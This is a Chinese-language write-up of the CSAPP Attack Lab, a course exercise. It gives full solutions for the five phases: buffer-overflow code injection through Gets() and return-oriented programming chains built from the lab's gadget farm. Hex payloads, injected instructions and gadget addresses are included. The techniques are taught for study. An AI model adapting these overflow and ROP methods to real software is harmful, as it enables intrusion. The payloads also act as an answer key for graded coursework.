这是CSAPP这本书的第三个实验,实验所需要的材料在 CSAPP3e。
这个实验分为两部分,第一部分是代码注入实验,主要是通过Gets()函数的堆栈溢出传入指令,然后跳转到指定位置执行的方式来实现执行指定指令;第二部分是ROP实验,因为这里采用栈随机化和堆栈不可执行所以代码注入失效了。ROP利用截取已知某指令序列来创建目的指令的方法来实现的,其中在实验中可利用的指令序列限制为farm.c生成的部分,通过Gets()函数的堆栈溢出传入一系列指令地址和数据实现。
Code injection attacks#
Phase 1#
实验目的是test()函数调用getbuf()后执行touch1()函数而不返回test(),所以这里用touch1()的地址覆盖掉test()的地址就可以。getbuf()里面分配了0x28个字节栈空间,所以这里把栈顶的0x28个字节覆盖掉,在末尾添加touch1()的地址就可以了。需要注意字节顺序。
1
2
3
4
5
6
| 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 /* 0x4017c0 即为touch1()起始地址*/
|
Phase 2#
实验目的是test()函数调用getbuf()函数后执行touch2(unsigned val)函数,touch2()函数是需要有参数(cookie值)的,所以在执行touch2()之前传入参数到%rdi,这是就需要注入代码了。
1
2
3
4
5
| 48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi 传入cookie值*/
68 ec 17 40 00 /* pushq $0x4017ec touch2地址*/
c3 /* retq */
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 /* 填充 */
78 dc 61 55 00 00 00 00 /*栈内指令起始地址 */
|
Phase 3#
这里需要执行touch3(char * sval),这里的参数是cookie的字符串的起始地址。touch3()通过调用hexmatch()来校验cookie(),这里尤其要注意字符串存放的地址,因为touch3()和hexmatch()会使用堆栈需要避免字符串位置被覆盖。我这里把字符串存到了hexmatch()函数的堆栈内。通过看hexmatch()的反汇编代码可以发现该函数分配了0x80(128)个字节的栈空间给自己使用(pushq占用的未计算),栈底部的8个字节存放的canary值来避免堆栈溢出所带来的危害,顶部的110个字节来给buf变量使用,所以我就把cookie的字符串存到了中间10个字节里。
1
2
3
4
5
6
7
8
9
10
11
| 50 /* pushq %rax */
48 c7 c7 69 dc 61 55 /* mov $0x5561dc69,%rdi 把字符串的起始地址村放入rdi */
48 b8 35 39 62 39 39 /* movq $0x6166373939623935,%rax */
37 66 61
48 89 07 /* movq %rax,(%rdi) 把字符串存放到指定位置*/
c6 47 08 00 /* movb $0x0,0x8(%rdi) 在字符串末尾添加'\0' */
58 /* popq %rax 没有必要保护%rax好像。。。*/
68 fa 18 40 00 /* pushq $0x4018fa touch3()地址入栈*/
c3
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
|
Return-Oriented Programming 面向返回编程#
Phase 4#
这里是利用ROP来实现Phase2的内容,这里只需要传入cookie值和相应指令在栈就好。限制只能使用movq,popq,nop,ret指令
1
2
3
4
5
6
7
8
9
10
| 栈顶
popq %rax 0x4019ab
cookie 0x59b997fa
movq %rax,%rdi 0x4019a2
touch2 addresss 0x4017ec
栈底
|
所以可以得到以下
1
2
3
4
5
| 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 /* 填充 */
ab 19 40 00 00 00 00 00 /* popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
ec 17 40 00 00 00 00 00 /* rouch2 */
|
Phase 5#
实现和Phase3一样的效果调用touch3(char * sval)。因为需要传入字符串地址,所以这里有一些难。通过对farm段指令代码分析可以得知有以下可以利用的指令
1
2
3
4
5
6
7
8
9
| movq %rsp, %rax
movq %rax, %rdi
popq %rax
movl %eax, %edi
movl %eax, %edx
movl %ecx, %esi
movl %edx, %ecx (后边有不相关指令粘连)
movl %esp, %eax
lea (%rdi, %rsi, 1), %rax (这是至关重要的,这个是原来就存在的指令不是截取的)
|
所以可以通过rsp+offset的方法确定字符串位置。rsp由movq传递。movl传递offset,因为movl会清零高四字节的内容所以不必担心会有影响。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| 栈顶
movq %rsp, %rax 0x401a06
movq %rax, %rdi 0x4019c5
popq %rax 0x4019ab
offset 0x48
movl %eax, %edx 0x4019dd
movl %edx, %ecx 0x401a69sval
movl %ecx, %esi 0x401a13
lea (%rdi, %rsi, 1), %rax 0x4019d6
movq %rax, %rdi 0x4019c5
touch3 address 0x4018fa
cookie string 0x6166373939623935
栈底
|
由分析可知字符串位置安全不会被干扰。由此可得以下答案。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
|